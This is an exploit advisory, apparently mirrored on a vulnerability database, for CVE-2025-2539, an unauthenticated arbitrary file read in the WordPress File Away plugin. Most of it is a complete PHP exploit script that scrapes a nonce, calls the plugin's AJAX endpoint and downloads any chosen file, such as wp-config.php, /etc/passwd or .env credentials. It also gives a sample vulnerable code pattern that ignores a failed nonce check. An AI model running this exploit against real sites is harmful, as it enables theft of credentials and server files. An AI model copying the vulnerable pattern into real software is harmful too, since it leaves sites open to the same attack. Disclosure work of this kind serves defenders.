=============================================================================================================================================
| # Title : WordPress File Away Plugin <= 3.9.9.0.1 - unauthorized access Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/file-away/ |
=============================================================================================================================================
POC :
[+] References : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-2539
https://packetstorm.news/files/id/196941/
https://wpscan.com/vulnerability/12350
[+] Summary
A critical arbitrary file read vulnerability exists in the WordPress File Away plugin version 3.9.9.0.1 and earlier.
The vulnerability allows unauthenticated attackers to read arbitrary files from the server file system through improper access control in the fileaway-stats AJAX endpoint.
[+] Technical Description
The vulnerability exists in the File Away plugin's fileaway-stats AJAX endpoint, which fails to properly validate and restrict file access. The plugin exposes a file reading functionality that can be exploited to:
1. Extract sensitive configuration files (wp-config.php)
2. Read system files (/etc/passwd)
3. Access environment files (.env)
4. Retrieve database credentials and API keys
[+] Vulnerable Code Pattern:
```php
// In /wp-content/plugins/file-away/lib/fileaway.php
add_action('wp_ajax_nopriv_fileaway-stats', 'fileaway_stats_callback');
function fileaway_stats_callback() {
$nonce = $_POST['nonce'];
$file = $_POST['file'];
// Nonce verification can be bypassed or is insufficient
if (!wp_verify_nonce($nonce, 'fileaway_stats_nonce')) {
// Nonce check may fail but execution continues
}
// No file path validation or access control
$content = file_get_contents($file);
// Returns file content directly
echo json_encode($content);
wp_die();
}
[+] Usage:
Usage: php poc.php https://victim.com wp-config.php
[+] POC :
<?php
/**
* CVE-2025-2539 Exploit - File Away <= 3.9.9.0.1 Arbitrary File Read
* By: indoushka
*/
class FileAwayExploit {
private $colors;
public function __construct() {
$this->colors = [
'RED' => "\033[91m",
'GREEN' => "\033[92m",
'YELLOW' => "\033[93m",
'BLUE' => "\033[94m",
'MAGENTA' => "\033[95m",
'CYAN' => "\033[96m",
'WHITE' => "\033[97m",
'BOLD' => "\033[1m",
'RESET' => "\033[0m"
];
}
private function color($text, $color) {
return $this->colors[$color] . $text . $this->colors['RESET'];
}
private function showBanner() {
$banner = $this->color("
", 'CYAN') .
$this->color("
", 'MAGENTA') .
$this->color("\n @indoushka\n\n", 'WHITE');
echo $banner . "\n";
}
private function makeRequest($url, $method = 'GET', $data = null, $headers = []) {
$contextOptions = [
'http' => [
'method' => $method,
'header' => implode("\r\n", $headers),
'timeout' => 10,
'ignore_errors' => true
],
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false
]
];
if ($method === 'POST' && $data) {
$contextOptions['http']['content'] = http_build_query($data);
$contextOptions['http']['header'] .= "\r\nContent-Type: application/x-www-form-urlencoded";
}
$context = stream_context_create($contextOptions);
$response = @file_get_contents($url, false, $context);
if ($response === false) {
return ['success' => false, 'error' => 'Request failed'];
}
return ['success' => true, 'content' => $response];
}
private function extractNonce($html) {
// Look for fileaway_stats nonce in the HTML
if (preg_match('/var\s+fileaway_stats\s*=\s*\{[^}]*"nonce":"([0-9a-f]+)"/', $html, $matches)) {
return $matches[1];
}
return null;
}
private function cleanResponse($response) {
// Remove backslashes and quotes
$cleaned = str_replace('\\', '', $response);
$cleaned = trim($cleaned, '"');
return $cleaned;
}
private function sanitizeFilename($filename) {
// Remove protocol and special characters for safe filename
$sanitized = preg_replace('/^https?:\/\//', '', $filename);
$sanitized = preg_replace('/[^a-zA-Z0-9._-]/', '_', $sanitized);
return $sanitized;
}
public function execute($target, $filename) {
$this->showBanner();
echo $this->color("[*] Target: ", 'BLUE') . $target . "\n";
echo $this->color("[*] File to read: ", 'BLUE') . $filename . "\n";
// Step 1: Get fileaway-stats nonce
echo $this->color("[*] Extracting fileaway_stats nonce...", 'YELLOW') . "\n";
$response = $this->makeRequest($target);
if (!$response['success']) {
echo $this->color("[!] Failed to extract fileaway_stats nonce", 'RED') . "\n";
exit(1);
}
$nonce = $this->extractNonce($response['content']);
if (!$nonce) {
echo $this->color("[!] Failed to extract fileaway_stats nonce", 'RED') . "\n";
exit(1);
}
echo $this->color("[+] Nonce found: ", 'GREEN') . $nonce . "\n";
// Step 2: Exploit arbitrary file read
echo $this->color("[*] Sending fileaway-stats request...", 'YELLOW') . "\n";
$ajaxUrl = rtrim($target, '/') . '/wp-admin/admin-ajax.php';
$postData = [
'action' => 'fileaway-stats',
'nonce' => $nonce,
'file' => $filename
];
$response = $this->makeRequest($ajaxUrl, 'POST', $postData);
if (!$response['success']) {
echo $this->color("[!] Failed to send fileaway-stats request", 'RED') . "\n";
exit(1);
}
$fileUrl = $this->cleanResponse($response['content']);
if (empty($fileUrl)) {
echo $this->color("[!] Failed to extract file URL from response", 'RED') . "\n";
exit(1);
}
echo $this->color("[+] Retrieved file URL: ", 'GREEN') . $fileUrl . "\n";
// Step 3: Download file content
echo $this->color("[*] Downloading file content...", 'YELLOW') . "\n";
$fileResponse = $this->makeRequest($fileUrl);
if (!$fileResponse['success']) {
echo $this->color("[!] Failed to download file content", 'RED') . "\n";
exit(1);
}
$content = $fileResponse['content'];
// Save file
$outputFilename = $this->sanitizeFilename($target) . '_' . basename($filename);
if (file_put_contents($outputFilename, $content) !== false) {
echo $this->color("[+] File saved as: ", 'GREEN') . $outputFilename . "\n";
} else {
echo $this->color("[!] Failed to save file", 'RED') . "\n";
}
// Step 4: Show file content
echo $this->color("\n[*] File content:", 'CYAN') . "\n";
echo $this->color(str_repeat("=", 50), 'CYAN') . "\n";
echo $content . "\n";
echo $this->color(str_repeat("=", 50), 'CYAN') . "\n";
}
}
// Main execution
if (php_sapi_name() === 'cli') {
if ($argc !== 3) {
echo "CVE-2025-2539 - File Away Arbitrary File Read Exploit\n";
echo "Usage: php exploit.php <target_url> <file_to_read>\n";
echo "Example: php exploit.php https://victim.com wp-config.php\n";
echo "\nDescription:\n";
echo " This exploit targets File Away WordPress plugin <= 3.9.9.0.1\n";
echo " allowing arbitrary file read through the fileaway-stats AJAX endpoint.\n";
exit(1);
}
$target = $argv[1];
$filename = $argv[2];
// Validate target URL
if (!filter_var($target, FILTER_VALIDATE_URL)) {
echo "Error: Invalid target URL\n";
exit(1);
}
$exploit = new FileAwayExploit();
$exploit->execute($target, $filename);
} else {
echo "This script is intended for command line use only.\n";
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation